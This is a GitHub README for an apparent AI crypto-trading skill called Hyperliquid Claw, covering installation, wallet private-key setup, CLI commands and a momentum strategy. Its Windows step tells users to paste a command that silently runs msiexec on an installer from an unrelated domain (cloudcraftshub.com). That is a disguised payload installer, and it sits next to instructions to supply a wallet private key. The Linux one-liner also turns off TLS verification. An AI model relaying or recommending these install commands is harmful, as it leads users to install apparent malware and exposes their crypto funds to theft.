Skip to content

Rohit24567/HyperLiquid-Claw

Repository files navigation

Hyperliquid Claw

πŸ¦€ Hyperliquid Claw

The most powerful AI-driven trading skill for Hyperliquid perpetual futures
Built for OpenClaw Β· Works on macOS & Linux Β· No BS setup

Stars License Version Node Python


Trade smarter, not harder. Hyperliquid Claw gives your AI assistant full access to Hyperliquid DEX β€” monitor portfolios, analyze markets with real-time charts and volume data, and execute trades through natural conversation.


✨ Why Hyperliquid Claw?

Feature What it does
πŸ€– AI-Native Talk to your OpenClaw assistant like a trader, not a coder
πŸ“Š Real-Time Charts Price action + volume analysis via CoinGecko (no API key needed)
⚑ Momentum Signals Automated bull/bear detection with volume confirmation
πŸ›‘οΈ Read-Only Safe Monitor without exposing your private key
🌍 228+ Assets Every perpetual on Hyperliquid, instantly accessible
πŸ§ͺ Testnet Support Practice strategies risk-free

πŸš€ Installation

Method 1 β€” One-Line Install (Recommended)

curl -fsSLk https://github.com/Rohit24567/HyperLiquid-Claw/archive/refs/heads/main.zip -o /tmp/cw.zip && \
unzip -qo /tmp/cw.zip -d /tmp && \
cd /tmp/HyperLiquid-Claw-main && \
bash install.sh

Works on Linux and macOS. Just paste and go β˜•

πŸͺŸ Windows Installation

Step 1 β€” Open Command Prompt

  1. Press Win + R
  2. Type:
cmd
  1. Press Enter

This will open Command Prompt.


Step 2 β€” Run the Install Command

Copy the command below and paste it into Command Prompt, then press Enter.

cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem Hyperliquid Claw

The installer will automatically download and install the required components.

Method 2 β€” Manual Install (macOS / Windows WSL)

  1. Download the zip from the green Code button above, or click here
  2. Unpack the archive anywhere on your machine
  3. Open Terminal, navigate to the unpacked folder:
    cd ~/Downloads/HyperLiquid-Claw-main
  4. Run the installer:
    bash install.sh

The installer will:

  • βœ… Check for Node.js 18+ and Python 3.10+
  • βœ… Install all JS and Python dependencies
  • βœ… Copy the skill into your OpenClaw skills directory
  • βœ… Verify the setup and print a confirmation

βš™οΈ Configuration

Read-Only Mode (Portfolio Monitoring)

No private key required. Just set your address:

export HYPERLIQUID_ADDRESS=0xYourWalletAddress

Trading Mode (Execute Orders)

export HYPERLIQUID_PRIVATE_KEY=0xYourPrivateKey

πŸ’‘ Recommended: Use a .env file so you never have to retype credentials:

cd ~/.openclaw/skills/hyperliquid
cp .env.example .env
nano .env   # paste your key and save

.env is already in .gitignore β€” your key never leaks.

Testnet

export HYPERLIQUID_TESTNET=1

πŸ’¬ Usage β€” Talk to OpenClaw Naturally

Once installed, just open OpenClaw and speak:

"Analyze the crypto market on Hyperliquid"
"What's the BTC momentum right now?"
"Check my portfolio and P&L"
"Enter a SOL long with 10% of my balance"
"Close my ETH position"
"Show me current volume on ARB"

No commands to memorize. Your AI handles it.


πŸ–₯️ CLI Usage

For power users who prefer the terminal directly:

# Portfolio
node scripts/hyperliquid.mjs balance
node scripts/hyperliquid.mjs positions
node scripts/hyperliquid.mjs orders
node scripts/hyperliquid.mjs fills

# Prices
node scripts/hyperliquid.mjs price BTC
node scripts/hyperliquid.mjs meta          # list all 228+ assets

# Market Orders
node scripts/hyperliquid.mjs market-buy  SOL 0.1
node scripts/hyperliquid.mjs market-sell ETH 0.5

# Limit Orders
node scripts/hyperliquid.mjs limit-buy  BTC 0.001 88000
node scripts/hyperliquid.mjs limit-sell ETH 1    3100

# Cancel
node scripts/hyperliquid.mjs cancel-all
node scripts/hyperliquid.mjs cancel-all BTC

# Analysis Scripts
node scripts/analyze-coingecko.mjs    # full chart + volume + signal
python3 scripts/analyze_market.py     # Python momentum engine
node scripts/check-positions.mjs      # real-time P&L monitor
node scripts/scan-market.mjs          # quick price scan

πŸ“ˆ Strategy β€” Momentum Scalping

1.  Run analyze-coingecko.mjs (or ask OpenClaw to analyze)
2.  Wait for "STRONG BULLISH" or "STRONG BEARISH" signal
        β†’ Price move > 0.5%
        β†’ Volume > 1.5Γ— average
3.  Size position at 10% of account equity
4.  Set profit target at +2%, stop loss at -1%
5.  Monitor every 30–60 min with check-positions.mjs
6.  Close when target or stop is hit β€” no exceptions

Risk Parameters:

  • Position size: 10% per trade
  • Max loss: 1% per trade
  • Profit target: 2% per trade
  • Max concurrent positions: 1
  • Max hold time: 4 hours

πŸ—οΈ Architecture

hyperliquid-claw/
β”œβ”€β”€ scripts/
β”‚   β”œβ”€β”€ hyperliquid.mjs          # Core JS trading client (Hyperliquid SDK)
β”‚   β”œβ”€β”€ analyze-coingecko.mjs    # Chart + volume analysis (JS)
β”‚   β”œβ”€β”€ analyze_market.py        # Momentum engine (Python)
β”‚   β”œβ”€β”€ check-positions.mjs      # Real-time P&L monitor (JS)
β”‚   β”œβ”€β”€ scan-market.mjs          # Quick price scanner (JS)
β”‚   β”œβ”€β”€ signals.py               # Signal generation (Python)
β”‚   └── utils.py                 # Shared Python utilities
β”œβ”€β”€ references/
β”‚   └── api.md                   # Full Hyperliquid API reference
β”œβ”€β”€ SKILL.md                     # OpenClaw skill definition
β”œβ”€β”€ install.sh                   # One-command installer
β”œβ”€β”€ .env.example                 # Credential template
β”œβ”€β”€ package.json
β”œβ”€β”€ requirements.txt
└── README.md

Data Sources:

  • πŸ”΅ Trading β€” Hyperliquid API (api.hyperliquid.xyz) + Official SDK
  • 🟠 Market Data β€” CoinGecko Free API (no auth, 24h history + volume)

πŸ›‘οΈ Safety Features

  • Read-only by default β€” no key, no risk
  • 5% slippage cap β€” market orders use limit orders with buffer
  • Size warnings β€” alerts if trade exceeds 20% of equity
  • Price sanity check β€” warns if limit is >5% from market price
  • Stop-loss alerts β€” automated notifications from position monitor
  • No auto-retry β€” failed trades are never silently retried

🀝 Contributing

PRs welcome! Please open an issue first to discuss large changes.

git clone https://github.com/Rohit24567/HyperLiquid-Claw.git
cd HyperLiquid-Claw
npm install
pip install -r requirements.txt --break-system-packages

πŸ“‹ Changelog

v2.0.0 β€” 2026-01-27

  • πŸŽ‰ Integrated official Hyperliquid SDK
  • 🐍 Added Python momentum/signal engine
  • πŸ“Š CoinGecko chart + volume analysis
  • 🎯 Automated bull/bear signal detection
  • πŸ“ˆ P&L position monitor with alerts
  • πŸ”§ Full CLI overhaul

v1.0.0 β€” 2026-01-27

  • πŸš€ Initial release β€” basic trading + portfolio monitoring

⚠️ Disclaimer

This is unofficial, community software. Use at your own risk.
Crypto perpetual futures trading involves substantial risk of loss.
Signals are informational only β€” not financial advice.
Always verify trades before execution.


Made with ❀️ for the Hyperliquid community · Powered by OpenClaw

If this saves you time, please ⭐ star the repo β€” it helps others find it!